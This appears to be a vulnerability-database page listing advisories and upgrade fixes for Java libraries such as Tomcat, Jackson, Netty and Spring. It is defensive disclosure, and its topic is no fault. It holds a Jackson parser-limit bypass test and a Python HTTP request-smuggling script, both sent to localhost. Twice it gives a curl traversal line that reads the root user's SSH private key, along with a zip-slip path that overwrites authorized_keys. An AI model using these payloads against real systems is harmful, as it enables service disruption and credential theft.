Find, fix and prevent vulnerabilities in your code.

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Authentication in processOCSPRequest(), which is part of the the CLIENT_CERT authentication process. An attacker can trigger a soft-fail of OCSP checks when soft-fail is disabled.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.116, 10.1.53, 11.0.20 or higher.

References

• Apache Mailing List
• GitHub Commit
• GitHub Commit
• OSS Security Advisory

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

commons-beanutils:commons-beanutils is a provides an easy-to-use but flexible wrapper around reflection and introspection.

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') via the getProperty and getNestedProperty methods of the PropertyUtilsBean class. An attacker can execute arbitrary code by accessing the declaredClass property of Java enum objects, which allows access to the ClassLoader.

Note:

The BeanIntrospector class that can mitigate this vulnerability was added in version 1.9.2 but its usage was not enabled by default.

Remediation

Upgrade commons-beanutils:commons-beanutils to version 1.11.0 or higher.

References

• Apache Advisory
• GitHub Commit
• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the verifyContinuationFrame function. An attacker can cause excessive CPU consumption and render the server unresponsive by sending a large number of zero-byte CONTINUATION frames, bypassing existing size-based mitigations.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.132.Final, 4.2.10.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Incorrect Authorization when using an OCSP responder. OCSP response verification and freshness checks can be bypassed, allowing certificate revocation to be bypassed.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.114, 10.1.52, 11.0.18 or higher.

References

• Apache Mailing List
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm due to the generateCTR process in G3413CTRBlockCipher. An attacker can recover relationships between encrypted plaintext blocks by driving the cipher past its counter range and causing the counter to wrap, which makes the stream repeat and produces identical ciphertext for different blocks. This breaks the confidentiality of data protected with G3413CTRBlockCipher and can expose plaintext patterns or allow plaintext recovery when the same key and IV are reused across enough blocks.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Wiki

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to User Impersonation in the SubjectX500PrincipalExtractor component. An attacker can gain unauthorized access to another user's account by presenting a specially crafted X.509 client certificate containing a malformed CN value.

Notes:

• The SubjectX500PrincipalExtractor component sits behind Spring Security's pre-authentication flow, which assumes the presented credentials have already been validated by a trusted upstream. Exploiting this issue therefore presupposes a compromise of that upstream trust.

• The fix only addresses SubjectX500PrincipalExtractor and not SubjectDnX509PrincipalExtractor, a deprecated component.

Remediation

Upgrade org.springframework.security:spring-security-web to version 7.0.5 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Authentication in processOCSPRequest(), which is part of the the CLIENT_CERT authentication process. In some "edge cases", an attacker can trigger a soft-fail of OCSP checks when soft-fail is disabled.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.117, 10.1.54, 11.0.21 or higher.

References

• Apache Mailing List
• GitHub Commit
• OSS Security Advisory

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to HTTP Request Smuggling in ChunkedInputFilter, when handling HTTP/1.1 requests with invalid chunk extensions. An attacker can interfere with the interpretation of HTTP requests and responses by injecting CRLF sequences and sending the payload to an application using a reverse proxy that allows those sequences.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.116, 10.1.53, 11.0.20 or higher.

References

• Apache Mailing List
• GitHub Commit
• GitHub Commit
• OSS Security Advisory

Overview

Affected versions of this package are vulnerable to Timing Attack through the sample and sample_matrix functions in FrodoEngine.java. An attacker can recover information about the sampled noise values by observing how long Frodo key generation or encapsulation takes when it processes attacker-influenced inputs. The variable-time comparison and sign handling in the error sampler leak the distribution of the generated samples, weakening the secrecy of the private Frodo noise and enabling key-recovery attacks against affected deployments.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

• GitHub Commit
• GitHub Wiki

Overview

org.springframework:spring-webflux is a Spring Framework module that contains support for reactive HTTP and WebSocket clients as well as for reactive server web applications including REST, HTML browser, and WebSocket style interactions.

Affected versions of this package are vulnerable to Directory Traversal via the Script View Templates. An attacker can access sensitive file contents outside of the intended directories by leveraging the Java scripting engine in template rendering.

Note:

This is only exploitable if the application has a mapping for "/**" that results in view rendering, and where the view name is not explicitly specified.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.springframework:spring-webflux to version 6.2.17, 7.0.6 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Directory Traversal via the Script View Templates. An attacker can access sensitive file contents outside of the intended directories by leveraging the Java scripting engine in template rendering.

Note:

This is only exploitable if the application has a mapping for "/**" that results in view rendering, and where the view name is not explicitly specified.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.springframework:spring-webmvc to version 6.2.17, 7.0.6 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) for the property source for ${random.value} (as well as ${random.int} and ${random.long}). Standard PRNGs (like java.util.Random) use deterministic mathematical algorithms starting from a seed value. Because the state space is relatively small and lacks ongoing entropy (true randomness), an attacker who observes a sequence of generated values can mathematically reverse-engineer the seed. Once the seed is known, the attacker can predict all past and future values generated by that PRNG. If these values are used to generate security-sensitive assets like API keys, session tokens, or passwords, the system becomes compromised.

Remediation

Upgrade org.springframework.boot:spring-boot to version 3.5.14, 4.0.6 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Timing Attack in DevTool due to comparing the user-provided "remote secret" against the actual secret using standard string comparison logic (like String.equals() or ==). Standard string comparisons are not constant-time. They evaluate character by character and exit immediately (return false) as soon as they find the first mismatch. Because the comparison stops early upon a mismatch, it takes slightly longer to reject a guess that gets the first few characters correct than a guess that is completely wrong. An attacker on the same network can measure these microsecond differences to deduce the secret character by character.

Remediation

Upgrade org.springframework.boot:spring-boot-devtools to version 3.5.14, 4.0.6 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Insecure Temporary File due to the ApplicationTemp mechanism creating a temporary directory using a predictable name. Because the name can be easily guessed, a local attacker on the same server can maliciously pre-create this directory before the Spring Boot application starts. When the application launches, it would blindly use the existing directory without verifying if it is actually owned by the application's user or the attacker.

Remediation

Upgrade org.springframework.boot:spring-boot to version 3.5.14, 4.0.6 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.

Remediation

Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.

References

• GitHub Commit
• spring Security Advisory